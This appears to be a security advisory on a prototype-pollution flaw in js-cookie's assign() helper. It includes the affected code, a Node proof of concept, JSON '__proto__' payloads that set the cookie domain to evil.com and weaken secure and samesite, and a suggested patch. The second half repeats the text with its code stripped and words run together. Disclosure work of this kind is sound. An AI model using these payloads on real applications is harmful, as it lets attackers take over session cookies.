Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
Affected code
// src/assign.mjs — full file
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) { // includes own enumerable '__proto__'
target[key] = source[key] // [[Set]] form - fires __proto__ setter
}
}
return target
}
Proof of concept
Node 22.11.0, no third-party deps:
Environment setup
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie
PoC
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
get cookie() { return ''; },
set cookie(v) { lastSetCookie = v; }
};
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse(
'{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);
Execution:

Suggested patch
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
- for (var key in source) {
- target[key] = source[key]
- }
+ for (var key in source) {
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+ Object.defineProperty(target, key, {
+ value: source[key],
+ writable: true,
+ enumerable: true,
+ configurable: true,
+ })
+ }
}
return target
}
Equivalent one-liner alternative - iterate own names only and filter:
for (const key of Object.getOwnPropertyNames(source)) {
if (key === '__proto__') continue
target[key] = source[key]
}
References
Summary
js-cookie's internalassign()helper copies properties withfor...in+ plain assignment. When the source object is produced byJSON.parse, the JSON object's"__proto__"member is an own enumerable property, so thefor…inenumerates it and thetarget[key] = source[key]write triggers theObject.prototype.__proto__setter on the freshtarget({}). The result is a per-instance prototype hijack:Object.prototypeitself is untouched, but the mergedattributesobject now inherits attacker-controlled keys.Because the consuming
set()function then enumerates the merged object with anotherfor...in, every key the attacker placed on the polluted prototype lands in the resultingSet-Cookiestring as an attribute pair. The attacker can setdomain=,secure=,samesite=,expires=, andpath=on cookies whose attributes the developer thought were locked down.Impact
Any application that forwards a JSON-derived object as the
attributesargument toCookies.set,Cookies.remove,Cookies.withAttributes, orCookies.withConverteris vulnerable. This is the standard pattern when cookie configuration comes from a backend:A payload of
{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}causes js-cookie to emit:Affected code
Proof of concept
Node 22.11.0, no third-party deps:
Environment setup
PoC
Execution:

Suggested patch
Equivalent one-liner alternative - iterate own names only and filter:
References